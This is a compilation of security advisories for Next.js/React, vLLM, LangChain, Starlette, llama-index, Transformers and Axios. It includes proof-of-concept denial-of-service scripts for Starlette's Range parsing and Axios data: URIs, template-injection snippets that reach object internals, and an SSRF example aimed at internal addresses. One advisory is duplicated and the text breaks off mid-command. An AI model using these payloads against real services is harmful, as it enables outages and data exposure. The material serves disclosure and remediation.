Next.js is vulnerable to RCE in React flight protocol
A vulnerability affects certain React packages<sup>1</sup> for versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55182.
Fixed in:
React: 19.0.1, 19.1.2, 19.2.1
Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7, 15.6.0-canary.58, 16.1.0-canary.12+
The vulnerability also affects experimental canary releases starting with 14.3.0-canary.77. Users on any of the 14.3 canary builds should either downgrade to a 14.x stable release or 14.3.0-canary.76.
All users of stable 15.x or 16.x Next.js versions should upgrade to a patched, stable version immediately.
<sup>1</sup> The affected React packages are:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
vLLM vulnerable to remote code execution via transformers_utils/get_config
Summary
vllm has a critical remote code execution vector in a config class named Nemotron_Nano_VL_Config. When vllm loads a model config that contains an auto_map entry, the config class resolves that mapping with get_class_from_dynamic_module(...) and immediately instantiates the returned class. This fetches and executes Python from the remote repository referenced in the auto_map string. Crucially, this happens even when the caller explicitly sets trust_remote_code=False in vllm.transformers_utils.config.get_config. In practice, an attacker can publish a benign-looking frontend repo whose config.json points via auto_map to a separate malicious backend repo; loading the frontend will silently run the backend’s code on the victim host.
Details
The vulnerable code resolves and instantiates classes from auto_map entries without checking whether those entries point to a different repo or whether remote code execution is allowed.
``python
class Nemotron_Nano_VL_Config(PretrainedConfig):
model_type = 'Llama_Nemotron_Nano_VL'
def __init__(self, kwargs):
super().__init__(kwargs)
if vision_config is not None:
assert "auto_map" in vision_config and "AutoConfig" in vision_config["auto_map"]
# <-- vulnerable dynamic resolution + instantiation happens here
vision_auto_config = get_class_from_dynamic_module(vision_config["auto_map"]["AutoConfig"].split("--")[::-1])
self.vision_config = vision_auto_config(vision_config)
else:
self.vision_config = PretrainedConfig()
`
get_class_from_dynamic_module(...) is capable of fetching and importing code from the Hugging Face repo specified in the mapping. trust_remote_code is not enforced for this code path. As a result, a frontend repo can redirect the loader to any backend repo and cause code execution, bypassing the trust_remote_code guard.
Impact
This is a critical vulnerability because it breaks the documented trust_remote_code safety boundary in a core model-loading utility. The vulnerable code lives in a common loading path, so any application, service, CI job, or developer machine that uses vllm`’s transformer utilities to load configs can be affected. The attack requires only two repos and no user interaction beyond loading the frontend model. A successful exploit can execute arbitrary commands on the host.
Fixes
https://github.com/vllm-project/vllm/pull/28126
vLLM deserialization vulnerability leading to DoS and potential RCE
Summary
A memory corruption vulnerability that leading to a crash (denial-of-service) and potentially remote code execution (RCE) exists in vLLM versions 0.10.2 and later, in the Completions API endpoint. When processing user-supplied prompt embeddings, the endpoint loads serialized tensors using torch.load() without sufficient validation.
Due to a change introduced in PyTorch 2.8.0, sparse tensor integrity checks are disabled by default. As a result, maliciously crafted tensors can bypass internal bounds checks and trigger an out-of-bounds memory write during the call to to_dense(). This memory corruption can crash vLLM and potentially lead to code execution on the server hosting vLLM.
Details
A vulnerability that can lead to RCE from the completions API endpoint exists in vllm, where due to missing checks when loading user-provided tensors, an out-of-bounds write can be triggered. This happens because the default behavior of torch.load(tensor, weights_only=True) since pytorch 2.8.0 is to not perform validity checks for sparse tensors, and this needs to be enabled explicitly using the torch.sparse.check_sparse_tensor_invariants context manager.
The vulnerability is in the following code in vllm/entrypoints/renderer.py:148
``python
def _load_and_validate_embed(embed: bytes) -> EngineEmbedsPrompt:
tensor = torch.load(
io.BytesIO(pybase64.b64decode(embed, validate=True)),
weights_only=True,
map_location=torch.device("cpu"),
)
assert isinstance(tensor, torch.Tensor) and tensor.dtype in (
torch.float32,
torch.bfloat16,
torch.float16,
)
tensor = tensor.to_dense()
`
Because of the missing checks, loading invalid prompt embedding tensors provided by the user can cause an out-of-bounds write in the call to to_dense` .
Impact
All users with access to this API are able to exploit this vulnerability. Unsafe deserialization of untrusted input can be abused to achieve DoS and potentially remote code execution (RCE) in the vLLM server process. This impacts deployments running vLLM as a server or any instance that deserializes untrusted/model-provided payloads.
Fix
https://github.com/vllm-project/vllm/pull/27204
Acknowledgements
Finder: AXION Security Research Team (Omri Fainaro, Bary Levy): discovery and coordinated disclosure.
OWASP A03OWASP A08LLM01 · Prompt InjectionLLM05 · Supply Chain
Get guardrail →LangChain Vulnerable to Template Injection via Attribute Access in Prompt Templates
Context
A template injection vulnerability exists in LangChain's prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept untrusted template strings (not just template variables) in ChatPromptTemplate and related prompt template classes.
Templates allow attribute access (.) and indexing ([]) but not method invocation (()).
The combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using MessagesPlaceholder with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., __globals__) to reach sensitive data such as environment variables.
The vulnerability specifically requires that applications accept template strings (the structure) from untrusted sources, not just template variables (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.
Affected Components
langchain-core package
Template formats:
F-string templates (template_format="f-string") - Vulnerability fixed
Mustache templates (template_format="mustache") - Defensive hardening
Jinja2 templates (template_format="jinja2") - Defensive hardening
Impact
Attackers who can control template strings (not just template variables) can:
Access Python object attributes and internal properties via attribute traversal
Extract sensitive information from object internals (e.g., __class__, __globals__)
Potentially escalate to more severe attacks depending on the objects passed to templates
Attack Vectors
1. F-string Template Injection
Before Fix:
``python
from langchain_core.prompts import ChatPromptTemplate
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{msg.__class__.__name__}")],
template_format="f-string"
)
Note that this requires passing a placeholder variable for "msg.__class__.__name__".
result = malicious_template.invoke({"msg": "foo", "msg.__class__.__name__": "safe_placeholder"})
Previously returned
>>> result.messages[0].content
>>> 'str'
`
2. Mustache Template Injection
Before Fix:
`python
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.__class__.__name__}}")],
template_format="mustache"
)
result = malicious_template.invoke({"question": msg})
Previously returned: "HumanMessage" (getattr() exposed internals)
`
3. Jinja2 Template Injection
Before Fix:
`python
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.parse_raw}}")],
template_format="jinja2"
)
result = malicious_template.invoke({"question": msg})
Could access non-dunder attributes/methods on objects
`
Root Cause
1. F-string templates: The implementation used Python's string.Formatter().parse() to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax:
`python
from string import Formatter
template = "{msg.__class__} and {x}"
print([var_name for (_, var_name, _, _) in Formatter().parse(template)])
# Returns: ['msg.__class__', 'x']
`
The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g., {obj.__class__.__name__} or {obj.method.__globals__[os]}) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with (), they do support [] indexing, which could allow traversal through dictionaries like __globals__ to reach sensitive objects.
2. Mustache templates: By design, used getattr() as a fallback to support accessing attributes on objects (e.g., {{user.name}} on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects
3. Jinja2 templates: Jinja2's default SandboxedEnvironment blocks dunder attributes (e.g., __class__) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we've restricted the environment to block all attribute and method access on objects
passed to templates.
Who Is Affected?
High Risk Scenarios
You are affected if your application:
Accepts template strings from untrusted sources (user input, external APIs, databases)
Dynamically constructs prompt templates based on user-provided patterns
Allows users to customize or create prompt templates
Example vulnerable code:
`python
User controls the template string itself
user_template_string = request.json.get("template") # DANGEROUS
prompt = ChatPromptTemplate.from_messages(
[("human", user_template_string)],
template_format="mustache"
)
result = prompt.invoke({"data": sensitive_object})
`
Low/No Risk Scenarios
You are NOT affected if:
Template strings are hardcoded in your application code
Template strings come only from trusted, controlled sources
Users can only provide values for template variables, not the template structure itself
Example safe code:
`python
Template is hardcoded - users only control variables
prompt = ChatPromptTemplate.from_messages(
[("human", "User question: {question}")], # SAFE
template_format="f-string"
)
User input only fills the 'question' variable
result = prompt.invoke({"question": user_input})
`
The Fix
F-string Templates
F-string templates had a clear vulnerability where attribute access syntax was exploitable. We've added strict validation to prevent this:
Added validation to enforce that variable names must be valid Python identifiers
Rejects syntax like {obj.attr}, {obj[0]}, or {obj.__class__}
Only allows simple variable names: {variable_name}
`python
After fix - these are rejected at template creation time
ChatPromptTemplate.from_messages(
[("human", "{msg.__class__}")], # ValueError: Invalid variable name
template_format="f-string"
)
`
Mustache Templates (Defensive Hardening)
As defensive hardening, we've restricted what Mustache templates support to reduce the attack surface:
Replaced getattr() fallback with strict type checking
Only allows traversal into dict, list, and tuple types
Blocks attribute access on arbitrary Python objects
`python
After hardening - attribute access returns empty string
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.__class__}}")],
template_format="mustache"
)
result = prompt.invoke({"msg": HumanMessage("test")})
Returns: "" (access blocked)
`
Jinja2 Templates (Defensive Hardening)
As defensive hardening, we've significantly restricted Jinja2 template capabilities:
Introduced _RestrictedSandboxedEnvironment that blocks ALL attribute/method access
Only allows simple variable lookups from the context dictionary
Raises SecurityError on any attribute access attempt
`python
After hardening - all attribute access is blocked
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.content}}")],
template_format="jinja2"
)
Raises SecurityError: Access to attributes is not allowed
`
Important Recommendation: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, we recommend reserving Jinja2 templates for trusted sources only. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.
While we've hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.
Important Reminder: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you're building a chatbot or conversational application, you can often work directly with message objects (e.g., HumanMessage, AIMessage, ToolMessage) without templates. Direct message construction avoids template-related security concerns entirely.
Remediation
Immediate Actions
1. Audit your code for any locations where template strings come from untrusted sources
2. Update to the patched version of langchain-core
3. Review template usage to ensure separation between template structure and user data
Best Practices
Consider if you need templates at all - Many applications can work directly with message objects (HumanMessage, AIMessage, etc.) without templates## Context
A template injection vulnerability exists in LangChain's prompt template system that allows attackers to access Python object internals through template syntax. This vulnerability affects applications that accept untrusted template strings (not just template variables) in ChatPromptTemplate and related prompt template classes.
Templates allow attribute access (.) and indexing ([]) but not method invocation (()).
The combination of attribute access and indexing may enable exploitation depending on which objects are passed to templates. When template variables are simple strings (the common case), the impact is limited. However, when using MessagesPlaceholder with chat message objects, attackers can traverse through object attributes and dictionary lookups (e.g., __globals__) to reach sensitive data such as environment variables.
The vulnerability specifically requires that applications accept template strings (the structure) from untrusted sources, not just template variables (the data). Most applications either do not use templates or else use hardcoded templates and are not vulnerable.
Affected Components
langchain-core package
Template formats:
F-string templates (template_format="f-string") - Vulnerability fixed
Mustache templates (template_format="mustache") - Defensive hardening
Jinja2 templates (template_format="jinja2") - Defensive hardening
Impact
Attackers who can control template strings (not just template variables) can:
Access Python object attributes and internal properties via attribute traversal
Extract sensitive information from object internals (e.g., __class__, __globals__)
Potentially escalate to more severe attacks depending on the objects passed to templates
Attack Vectors
1. F-string Template Injection
Before Fix:
`python
from langchain_core.prompts import ChatPromptTemplate
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{msg.__class__.__name__}")],
template_format="f-string"
)
Note that this requires passing a placeholder variable for "msg.__class__.__name__".
result = malicious_template.invoke({"msg": "foo", "msg.__class__.__name__": "safe_placeholder"})
Previously returned
>>> result.messages[0].content
>>> 'str'
`
2. Mustache Template Injection
Before Fix:
`python
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.__class__.__name__}}")],
template_format="mustache"
)
result = malicious_template.invoke({"question": msg})
Previously returned: "HumanMessage" (getattr() exposed internals)
`
3. Jinja2 Template Injection
Before Fix:
`python
from langchain_core.prompts import ChatPromptTemplate
from langchain_core.messages import HumanMessage
msg = HumanMessage("Hello")
Attacker controls the template string
malicious_template = ChatPromptTemplate.from_messages(
[("human", "{{question.parse_raw}}")],
template_format="jinja2"
)
result = malicious_template.invoke({"question": msg})
Could access non-dunder attributes/methods on objects
`
Root Cause
1. F-string templates: The implementation used Python's string.Formatter().parse() to extract variable names from template strings. This method returns the complete field expression, including attribute access syntax:
`python
from string import Formatter
template = "{msg.__class__} and {x}"
print([var_name for (_, var_name, _, _) in Formatter().parse(template)])
# Returns: ['msg.__class__', 'x']
`
The extracted names were not validated to ensure they were simple identifiers. As a result, template strings containing attribute traversal and indexing expressions (e.g., {obj.__class__.__name__} or {obj.method.__globals__[os]}) were accepted and subsequently evaluated during formatting. While f-string templates do not support method calls with (), they do support [] indexing, which could allow traversal through dictionaries like __globals__ to reach sensitive objects.
2. Mustache templates: By design, used getattr() as a fallback to support accessing attributes on objects (e.g., {{user.name}} on a User object). However, we decided to restrict this to simpler primitives that subclass dict, list, and tuple types as defensive hardening, since untrusted templates could exploit attribute access to reach internal properties like class on arbitrary objects
3. Jinja2 templates: Jinja2's default SandboxedEnvironment blocks dunder attributes (e.g., __class__) but permits access to other attributes and methods on objects. While Jinja2 templates in LangChain are typically used with trusted template strings, as a defense-in-depth measure, we've restricted the environment to block all attribute and method access on objects
passed to templates.
Who Is Affected?
High Risk Scenarios
You are affected if your application:
Accepts template strings from untrusted sources (user input, external APIs, databases)
Dynamically constructs prompt templates based on user-provided patterns
Allows users to customize or create prompt templates
Example vulnerable code:
`python
User controls the template string itself
user_template_string = request.json.get("template") # DANGEROUS
prompt = ChatPromptTemplate.from_messages(
[("human", user_template_string)],
template_format="mustache"
)
result = prompt.invoke({"data": sensitive_object})
`
Low/No Risk Scenarios
You are NOT affected if:
Template strings are hardcoded in your application code
Template strings come only from trusted, controlled sources
Users can only provide values for template variables, not the template structure itself
Example safe code:
`python
Template is hardcoded - users only control variables
prompt = ChatPromptTemplate.from_messages(
[("human", "User question: {question}")], # SAFE
template_format="f-string"
)
User input only fills the 'question' variable
result = prompt.invoke({"question": user_input})
`
The Fix
F-string Templates
F-string templates had a clear vulnerability where attribute access syntax was exploitable. We've added strict validation to prevent this:
Added validation to enforce that variable names must be valid Python identifiers
Rejects syntax like {obj.attr}, {obj[0]}, or {obj.__class__}
Only allows simple variable names: {variable_name}
`python
After fix - these are rejected at template creation time
ChatPromptTemplate.from_messages(
[("human", "{msg.__class__}")], # ValueError: Invalid variable name
template_format="f-string"
)
`
Mustache Templates (Defensive Hardening)
As defensive hardening, we've restricted what Mustache templates support to reduce the attack surface:
Replaced getattr() fallback with strict type checking
Only allows traversal into dict, list, and tuple types
Blocks attribute access on arbitrary Python objects
`python
After hardening - attribute access returns empty string
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.__class__}}")],
template_format="mustache"
)
result = prompt.invoke({"msg": HumanMessage("test")})
Returns: "" (access blocked)
`
Jinja2 Templates (Defensive Hardening)
As defensive hardening, we've significantly restricted Jinja2 template capabilities:
Introduced _RestrictedSandboxedEnvironment that blocks ALL attribute/method access
Only allows simple variable lookups from the context dictionary
Raises SecurityError on any attribute access attempt
`python
After hardening - all attribute access is blocked
prompt = ChatPromptTemplate.from_messages(
[("human", "{{msg.content}}")],
template_format="jinja2"
)
Raises SecurityError: Access to attributes is not allowed
`
Important Recommendation: Due to the expressiveness of Jinja2 and the difficulty of fully sandboxing it, we recommend reserving Jinja2 templates for trusted sources only. If you need to accept template strings from untrusted users, use f-string or mustache templates with the new restrictions instead.
While we've hardened the Jinja2 implementation, the nature of templating engines makes comprehensive sandboxing challenging. The safest approach is to only use Jinja2 templates when you control the template source.
Important Reminder: Many applications do not need prompt templates. Templates are useful for variable substitution and dynamic logic (if statements, loops, conditionals). However, if you're building a chatbot or conversational application, you can often work directly with message objects (e.g., HumanMessage, AIMessage, ToolMessage) without templates. Direct message construction avoids template-related security concerns entirely.
Remediation
Immediate Actions
1. Audit your code for any locations where template strings come from untrusted sources
2. Update to the patched version of langchain-core
3. Review template usage to ensure separation between template structure and user data
Best Practices
Consider if you need templates at all - Many applications can work directly with message objects (HumanMessage, AIMessage, etc.) without templates
Reserve Jinja2 for trusted sources - Only use Jinja2 templates when you fully control the template content
Update: Jinja2 Restrictions Reverted
The Jinja2 hardening introduced in the initial patch has been reverted as of langchain-core` 1.1.3. The restriction was not addressing a direct vulnerability but was part of broader defensive hardening. In practice, it significantly limited legitimate Jinja2 usage and broke existing templates. Since Jinja2 is intended to be used only with trusted template sources, the original behavior has been restored. Users should continue to avoid accepting untrusted template strings when using Jinja2, but no security issue exists with trusted templates.
Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``
Summary
An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).
Details
Starlette parses multi-range requests in `FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.
`python
starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d)-(\d)") # vulnerable to O(n^2) complexity ReDoS
class FileResponse(Response):
@staticmethod
def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
ranges: list[tuple[int, int]] = []
try:
units, range_ = http_range.split("=", 1)
except ValueError:
raise MalformedRangeHeader()
# [...]
ranges = [
(
int(_[0]) if _[0] else file_size - int(_[1]),
int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
)
for _ in _RANGE_PATTERN.findall(range_) # vulnerable
if _ != ("", "")
]
`
The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
Direct starlette.responses.FileResponse responses
PoC
`python
#!/usr/bin/env python3
import sys
import time
try:
import starlette
from starlette.responses import FileResponse
except Exception as e:
print(f"[ERROR] Failed to import starlette: {e}")
sys.exit(1)
def build_payload(length: int) -> str:
"""Build the Range header value body: '0' num_zeros + '0-'"""
return ("0" length) + "a-"
def test(header: str, file_size: int) -> float:
start = time.perf_counter()
try:
FileResponse._parse_range_header(header, file_size)
except Exception:
pass
end = time.perf_counter()
elapsed = end - start
return elapsed
def run_once(num_zeros: int) -> None:
range_body = build_payload(num_zeros)
header = "bytes=" + range_body
# Use a sufficiently large file_size so upper bounds default to file size
file_size = max(len(range_body) + 10, 1_000_000)
print(f"[DEBUG] range_body length: {len(range_body)} bytes")
elapsed_time = test(header, file_size)
print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")
if __name__ == "__main__":
print(f"[INFO] Starlette Version: {starlette.__version__}")
for n in [5000, 10000, 20000, 40000]:
run_once(n)
"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds
[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds
[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds
[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""
``
Impact
Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.
llama-index has Insecure Temporary File
The llama_index library version 0.12.33 sets the NLTK data directory to a subdirectory of the codebase by default, which is world-writable in multi-user environments. This configuration allows local users to overwrite, delete, or corrupt NLTK data files, leading to potential denial of service, data tampering, or privilege escalation. The vulnerability arises from the use of a shared cache directory instead of a user-specific one, making it susceptible to local data tampering and denial of service.
vLLM is vulnerable to Server-Side Request Forgery (SSRF) through `MediaConnector` class
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.
Vulnerability Details
The core of the vulnerability lies in the MediaConnector.load_from_url method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).
https://github.com/vllm-project/vllm/blob/119f683949dfed10df769fe63b2676d7f1eb644e/vllm/multimodal/utils.py#L97-L113
The function directly processes URLs with http, https, and file schemes. An attacker can supply a URL pointing to an internal IP address or a localhost endpoint. The vLLM server will then initiate a connection to this internal resource.
HTTP/HTTPS Scheme: An attacker can craft a request like {"image_url": "http://127.0.0.1:8080/internal_api"}. The vLLM server will send a GET request to this internal endpoint.
File Scheme: The _load_file_url method attempts to restrict file access to a subdirectory defined by --allowed-local-media-path. While this is a good security measure for local file access, it does not prevent network-based SSRF attacks.
Impact in llm-d Environments
The risk is significantly amplified in orchestrated environments such as llm-d, where multiple pods communicate over an internal network.
1. Denial of Service (DoS): An attacker could target internal management endpoints of other services within the llm-d cluster. For instance, if a monitoring or metrics service is exposed internally, an attacker could send malformed requests to it. A specific example is an attacker causing the vLLM pod to call an internal API that reports a false KV cache utilization, potentially triggering incorrect scaling decisions or even a system shutdown.
2. Internal Network Reconnaissance: Attackers can use the vulnerability to scan the internal network for open ports and services by providing URLs like http://10.0.0.X:PORT and observing the server's response time or error messages.
3. Interaction with Internal Services: Any unsecured internal service becomes a potential target. This could include databases, internal APIs, or other model pods that might not have robust authentication, as they are not expected to be directly exposed.
Delegating this security responsibility to an upper-level orchestrator like llm-d is problematic. The orchestrator cannot easily distinguish between legitimate requests initiated by the vLLM engine for its own purposes and malicious requests originating from user input, thus complicating traffic filtering rules and increasing management overhead.
Fix
See the --allowed-media-domains option discussed here: https://docs.vllm.ai/en/latest/usage/security.html#4-restrict-domains-access-for-media-urls
vLLM is vulnerable to timing attack at bearer auth
Summary
The API key support in vLLM performed validation using a method that was vulnerable to a timing attack. This could potentially allow an attacker to discover a valid API key using an approach more efficient than brute force.
Details
https://github.com/vllm-project/vllm/blob/4b946d693e0af15740e9ca9c0e059d5f333b1083/vllm/entrypoints/openai/api_server.py#L1270-L1274
API key validation used a string comparison that will take longer the more characters the provided API key gets correct. Data analysis across many attempts can allow an attacker to determine when it finds the next correct character in the key sequence.
Impact
Deployments relying on vLLM's built-in API key validation are vulnerable to authentication bypass using this technique.
llama-index-core insecurely handles temporary files
The llama-index-core package, up to version 0.12.44, contains a vulnerability in the get_cache_dir() function where a predictable, hardcoded directory path /tmp/llama_index is used on Linux systems without proper security controls. This vulnerability allows attackers on multi-user systems to steal proprietary models, poison cached embeddings, or conduct symlink attacks. The issue affects all Linux deployments where multiple users share the same system. The vulnerability is classified under CWE-379, CWE-377, and CWE-367, indicating insecure temporary file creation and potential race conditions.
Hugging Face Transformers is vulnerable to ReDoS through its MarianTokenizer
A Regular Expression Denial of Service (ReDoS) vulnerability was discovered in the Hugging Face Transformers library, specifically affecting the MarianTokenizer's remove_language_code() method. This vulnerability is present in version 4.52.4 and has been fixed in version 4.53.0. The issue arises from inefficient regex processing, which can be exploited by crafted input strings containing malformed language code patterns, leading to excessive CPU consumption and potential denial of service.
Axios is vulnerable to DoS attack through lack of data size check
Summary
When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.
Details
The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
``js
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
`
The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
`js
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
`
The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.
In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.
PoC
`js
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
`
Run with limited heap to force a crash:
`bash
node --max-old-space-size=100 poc.js
`
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
`
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
`
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.
`js
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/
POST /preview { "url": "<http|https|data URL>" }
Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 1024, // Axios will ignore this for data:
maxBodyLength: 8 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(axios-poc-link-preview listening on http://0.0.0.0:${PORT});
console.log(Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).);
});
`
Run this app and send 3 post requests:
`sh
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
